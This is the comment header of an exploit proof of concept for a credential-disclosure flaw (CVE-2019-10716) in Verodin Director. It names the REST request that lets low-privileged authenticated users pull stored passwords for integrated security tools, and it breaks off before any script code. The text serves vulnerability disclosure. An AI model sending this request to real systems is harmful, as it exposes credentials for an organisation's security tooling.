#  Exploit Title: Verodin Director Web Console 3.5.4.0 - Remote Authenticated Password Disclosure (PoC)
#  Discovery Date: 2019-01-31
#  Exploit Author: Nolan B. Kennedy (nxkennedy)
#  Vendor Homepage: https://www.verodin.com/
#  Software Link : https://www.verodin.com/demo-request/demo-request-form
#  Tested Versions: v3.5.1.0, v3.5.2.0, v3.5.3.1
#  Tested On: Windows
#  CVE: CVE-2019-10716
#  Vulnerability Type: Sensitive Data Disclosure
###
# Description: Verodin Director's REST API allows authenticated users to query the configuration
#       details, which include credentials, of any 50+ possible integrated security tools (e.g. Splunk, ArcSight, Palo Alto, AWS Cloud Trail).
#       Fortunately for attackers, members of 3 out of the 4 user groups in the Director can query this info (Users, Power Users, System Admin). 
#
#       API Request: GET https://<director-ip>/integrations.json
#
# Usage: python3 script.py
#
# Example Output:
#
#       -- VERODIN DIRECTOR WEB CONSOLE < V3.5.4.0 - REMOTE AUTHENTICATED PASSWORD DISCLOSURE (POC) --
#	-- Author: Nolan B. Kennedy (nxkennedy) --
